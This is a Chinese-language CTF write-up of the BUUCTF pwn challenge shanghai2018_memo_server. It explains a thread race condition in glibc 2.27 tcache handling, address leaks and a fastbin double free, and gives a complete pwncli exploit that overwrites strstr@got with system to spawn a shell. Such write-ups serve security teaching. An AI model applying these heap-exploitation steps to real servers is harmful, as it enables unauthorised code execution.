[BUUCTF] shanghai2018_memo_server
2022-04-05 21:44
1011 查看
[toc]
shanghai2018_memo_server
总结
多线程条件竞争,经调试分析与阅读源码,总结在多线程下释放
tcache管理大小范围内的堆块的时候,流程大概如下:
- 线程申请
tcache_perthread_struct
结构体,这里会使用mmap
申请 - 将堆块释放到线程对应的
tcache bins
中 - 线程结束时调用
tcache_shutdown
,将当前线程tcache bins
所管理的chunk
都使用__libc_free
释放掉,这时的tcache
变量为NULL
,所以肯定不会进tcache bins
,而会进入到fastbins/unsorted bins
。
checksec
远程为
libc-2.27.so,可以
double free的版本。
漏洞点
其实这个程序很多地方都有栈溢出,但是由于使用的都是
sscanf/strlen/sprintf等字符串类型的函数,会被
\x00截断,所以不太好绕过
canary,否则直接利用栈溢出就能解题。首先泄露地址可以任选一个有栈溢出的函数,然后泄露栈上残留的地址即可,这里我选用的是
echo函数:
还有一个主要利用的点,是多线程下全局变量的条件竞争:
这里故意设置了
sleep(1)就是为竞争创造条件。
利用思路
首先利用
echo
泄露出libc
地址利用条件竞争漏洞,首先泄露出堆地址,做法为:调用两次
add
,然后调用1
次count
,等待1
秒,这个时候该线程已经分配的2
个属于memo
的chunk
都释放掉了,此时主线程调用GET /list
即可泄露堆地址仍然后利用条件竞争漏洞,让两个线程去释放同一个
chunk
,构造出A->B->A
的fastbin
链分配
A
,此时由于tcache stash unlink
,就会把剩下的B/A
都会放到tcache bins
中去,这里可以使用url_encode
编码,使得memo
的长度满足要求分配到
strstr@got
,修改为system@plt
输入
/bin/sh;
获取shell
EXP
#!/usr/bin/python3 # -*- encoding: utf-8 -*- # author: roderick from pwncli import * cli_script() io: tube = gift['io'] elf: ELF = gift['elf'] libc: ELF = gift['libc'] def get_list(keep_alive=True): payload = "GET /list deadbeef \n" if keep_alive: payload += "Connection: keep-alive\r\n\r\n" s(payload) m = r() return m def post_add(memo, count=1, keep_alive=True): assert len(memo) <= 80, "memo wrong!" if isinstance(memo, str): memo = memo.encode() payload = b"POST /add deadbeef \n" if keep_alive: payload += b"Connection: keep-alive\r\n\r\n" payload += b"memo=" + memo + b"&count="+ str(count).encode() s(payload) m = r() return m def post_count(keep_alive=True): payload = "POST /count deadbeef \n" if keep_alive: payload += "Connection: keep-alive\r\n\r\n" s(payload) m = r() return m def post_echo(content, keep_alive=True): payload = "POST /echo deadbeef \n" if keep_alive: payload += "Connection: keep-alive\r\n\r\n" payload += f"content={content}" s(payload) m = r() return m def url_encode(addr, length): addr = hex(addr)[2:].zfill(16) res = "" for i in range(0, 16, 2): res = "%"+addr[i:i+2] + res return res.ljust(length, "X") # leak libc addr m = post_echo("a"*0xa7+"#") i = m.find(b"#") assert i >= 0, "index error!" libc_base = u64_ex(m[i+1:i+7]) - 0x10bf0 log_address("libc_base", libc_base) assert libc_base & 0xfff == 0, "libc error" post_add("a"*0x30, 1) post_add("b"*0x30, 1) post_count() sleep(1) m = get_list() heap_base = u32_ex(m[0xc5:0xc5+4]) - 0x280 log_heap_base_addr(heap_base) sleep(3) post_add("a"*0x30, 1) # 0 post_add("b"*0x30, 1) # 1 post_add("c"*0x30, 1) # 2 post_add("c"*0x40, 3) # 3 post_count() sleep(2) post_add(p32(heap_base + 0x280), 1) post_count() sleep(6) post_add(url_encode(elf.got.strstr, 0x30), 1) # 0 post_add("a"*0x30, 1) post_add("b"*0x30, 1) post_add(url_encode(libc.sym.system + libc_base, 0x30), 1) sleep(2) sl("/bin/sh;") ia()
多试几次就可以拿到
shell了。
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
相关文章推荐
- IDEA破解 2018 IDEA license server 激活
- BizTalk Server Memo, Part 1
- 看好还是看衰?8位业界大咖这么看Serverless的2018
- intellij idea 2018 license server
- PhpStorm 2018 最新激活码 license server
- BUUCTF__[HCTF 2018]admin_题解
- Stimulsoft Reports Server 2018
- Memo for ACM/ICPC Shanghai Regional Contest Online Round
- BizTalk Server Memo, Part 2
- 【BUUCTF】web 之 [护网杯 2018]easy_tornado
- 利用Exchange Server CVE-2018-8581漏洞***AD实验
- IDEA2018 License Server
- 看好还是看衰?8位业界大咖这么看Serverless的2018
- Visual Studio 6 (VC6)连接Team Foundation Server (TFS 2018),实现源代码的版本管理
- BUUCTF__[HCTF 2018]WarmUp_题解
- fastDFS测试上传报错:[2018-01-04 16:37:54] ERROR - file: tracker_proto.c, line: 48, server: 192.168
- IDEA破解 2018 IDEA license server 激活
- IDEA破解 2018 IDEA license server 激活(可用)
- [BUUCTF]HCTF 2018 WarmUp wp
- webstorm 2018.11月 License server 最新激活码(持续更新)